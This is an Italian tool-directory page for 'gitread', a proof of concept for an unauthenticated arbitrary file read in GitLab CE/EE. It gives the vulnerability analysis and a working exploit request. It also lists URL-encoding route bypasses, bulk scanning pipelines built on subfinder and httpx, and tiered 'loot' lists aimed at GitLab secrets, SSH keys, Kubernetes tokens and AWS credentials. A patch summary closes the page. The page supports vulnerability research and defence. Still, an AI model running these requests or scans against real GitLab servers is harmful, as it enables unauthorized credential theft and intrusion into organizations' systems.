Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
gitread — CVE-2026-85706 · Lettura di file non autenticata in GitLab CE/EE · PoC di ricerca con modalità oracle, enumerazione dei fd e targeting a livelli del loot | Kitploit
Strumenti/GitHubGitHub/plur1bu5/gitread
RicognizioneAnalisi delle VulnerabilitàExploitScripting e AutomazioneSfruttamento di Applicazioni WebEsfiltrazione DatiRaccolta InformazioniSicurezza WebPenetration TestingRed Teaming
GitHubplur1bu5/gitread
117h 57m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

gitread

CVE-2026-85706 · Lettura di file non autenticata in GitLab CE/EE · PoC di ricerca con modalità oracle, enumerazione dei fd e targeting a livelli del loot

Vedi Repository
Condividi

gitread

PoC per CVE-2026-85706, una lettura arbitraria di file non autenticata che interessa GitLab CE/EE self-managed.

CVECVE-2026-85706
CVSS10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Interessato18.7 to 19.1.7, 19.2.0 to 19.2.5, 19.3.0 to 19.3.1
Corretto19.1.8 / 19.2.6 / 19.3.2 (rilasciato 2026-09-10)
ComponenteRepository Commits API / Files API (Workhorse body-upload)
Segnalato das3ntago via GitLab HackerOne

Come funziona

Tre endpoint delle API dei repository si trovano dietro il requestBodyUploader di Workhorse:

root@kitploit:~
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

L'handler Rails chiama File.open(params['file.path']) prima di authenticate!. Quattro condizioni rendono questo sfruttabile:

1. L'autenticazione scatta dopo la lettura del file. require_gitlab_workhorse! controlla solo l'header JWT Gitlab-Workhorse-Api-Request. Workhorse appone quell'header su ogni richiesta che proxa, inclusi i semplici passthrough. Il vero authenticate! risiede dentro authorize_push_to_branch!, che viene eseguito dopo che file_params_from_body_upload ha già letto il file dal disco.

2. file.path proviene direttamente dalla richiesta. file_params_from_body_upload legge params['file.path'] come percorso assoluto senza alcuna validazione. Nel flusso previsto Workhorse scrive l'upload in un file temporaneo e inietta da sé quel parametro. Un attaccante lo invia semplicemente in modo diretto come parametro di query string che punta a qualsiasi punto del filesystem.

3. Il route matching di Workhorse non decodifica mai il percent-encoding. Workhorse confronta le route di upload con EscapedPath(), i byte grezzi dell'URL così come ricevuti. Puma decodifica le sequenze %XX prima di instradare verso Grape. Quindi codificare un carattere in un segmento statico fa sì che Workhorse salti la sua regola di rewrite mentre Rails instrada comunque verso l'handler vulnerabile:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/      (trailing slash)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (Grape format suffix)

4. Rack rimanda il contenuto del file nella risposta di errore. Con Content-Type: application/x-www-form-urlencoded, il contenuto del file viene passato a Rack::Utils.parse_nested_query. Qualsiasi % isolato non seguito da due cifre esadecimali solleva InvalidParameterError: invalid %-encoding (<content>). Tutto ciò che precede il primo & nel file viene rimandato nel body 400.

I file senza % isolati vengono comunque letti pre-auth. La risposta 401 dal ramo urlencoded e una 500 dal ramo multipart confermano entrambe che il file esiste ed è leggibile dall'utente git, rendendole utili come oracolo di esistenza.

Richiesta di exploit:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

Funzionalità

  • --file legge qualsiasi singolo file; ricade automaticamente sull'oracolo se non c'è un trigger di echo
  • --loot esegue 36 target su 7 tier, ordinati per probabilità confermata di trigger di echo
  • --oracle esegue una sonda a doppio ramo (urlencoded + multipart) su file senza echo e ti dice se ciascuno è leggibile, mancante o non leggibile
  • --proc enumera /proc/self/fd/0-31 per trovare file descriptor aperti, poi legge i target di recon standard in /proc
  • --shell apre una shell interattiva di lettura file con i comandi cat, loot, oracle, project e curl
  • --pipe legge i target da stdin e gestisce output di subfinder, testo httpx, JSON httpx, JSON nuclei e righe host grezze
  • --list accetta un file di target uno per riga
  • --threads per la scansione bulk concorrente
  • --proxy instrada tutto attraverso Burp o mitmproxy
  • --raw scrive byte grezzi su stdout senza decorazioni, utile per il piping verso un file
  • --full esegue loot, oracle e proc in un'unica passata
  • Output di report JSON e JSONL tramite -o
  • Fingerprint della versione di GitLab con controllo dell'intervallo interessato
  • Supporto ai colori del terminale Windows

Installazione

root@kitploit:~
pip install requests
python3 gitread.py -h

Richiede Python 3.10 o superiore. Nessun'altra dipendenza.

Utilizzo

Target singolo

root@kitploit:~
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

Pipeline

root@kitploit:~
subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

stdin viene rilevato automaticamente quando non è un TTY, quindi --pipe è opzionale nella maggior parte dei casi.

Shell

root@kitploit:~
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

Verdetti delle risposte

VerdettoSignificato
leakContenuto del file rimandato nel body 400, lettura confermata
leak-fragEcho parziale tramite errore di tipo del parametro
read-noechoIl file è stato letto pre-auth ma non ha % isolati quindi nulla è stato rimandato
READABLEIl ramo multipart ha restituito 500, il file esiste ed è leggibile dall'utente git
missingIl server ha detto che il file locale non è presente
rewriteWorkhorse ha riscritto il body, questa forma di bypass è morta
norouteRails 404, l'istanza è corretta o il percorso è sbagliato
server-error500, il file esiste ma ha causato un errore di parsing

Tier del loot

TierFileEcho
1gitlab.rb, gitlab.yml, redis.confIl contenuto trapela direttamente
2gitlab-secrets.json, secrets.yml, database.ymlSolo oracolo, puro hex
3.gitlab_workhorse_secretSolo oracolo
4Chiavi private SSH e authorized_keysSolo oracolo
5gitlab-shell.yml, gitaly.toml, configurazione PostgreSQLSolo oracolo
6Token dell'account di servizio Kubernetes, credenziali AWSSolo oracolo
7Hostname, hosts, passwd, os-release, environSolo oracolo

Flag

FlagDescrizione
-t, -u, --targetURL di base singolo
--pipeLegge i target da stdin
--list FILEFile di target
--file PATHSingolo percorso assoluto da leggere
--lootEsecuzione completa del loot su 36 target
--oracleSonda a doppio ramo dei file senza echo
--procEnumerazione dei fd in /proc e recon
--shellShell interattiva dopo la scansione
--fullloot + oracle + proc
--project-id IDForza un project id invece di rilevarlo automaticamente
--forceScansiona anche se il target non ha il fingerprint di GitLab
--rawScrive byte grezzi su stdout, senza decorazioni
--proxy URLProxy HTTP/S
--threads NThread worker per la modalità pipeline (default 8)
--timeout NTimeout per richiesta in secondi (default 15)
-o FILESalva il report (.json per array formattato, qualsiasi altro per JSONL)
-q, --quietStampa solo gli hit
-v, --verboseMostra ogni tentativo di sonda
--no-bannerSopprime il banner

Codici di uscita: 0 leak confermato, 1 solo oracolo o nessun leak in pipeline, 2 nulla trovato.

Patch

Corretto nel commit master 0d9ce3e7, backportato come 1fe30154 / b43c8b26 / 0ff7b6b2.

Tre cose sono state modificate contemporaneamente:

  1. authenticate! è stato spostato prima di file_params_from_body_upload in tutti e tre gli endpoint, così il file non viene mai letto per una richiesta non autenticata
  2. file.path ora è accettato solo da un oggetto UploadedFile tipizzato prodotto dal middleware multipart, che richiede un JWT valido firmato da Workhorse, non da un parametro di query string grezzo
  3. InvalidParameterError non interpola più e.message nel body della risposta, così il canale di echo è chiuso anche se qualcuno trovasse un modo per aggirare i primi due fix

Il bug è stato introdotto in GitLab 18.7 (dicembre 2025) quando è stata aggiunta la variante body-upload dell'API dei commit.


fatto con amore da @plur1bu5 -- se lo trovi utile, una stella è apprezzata

Scarica lo strumento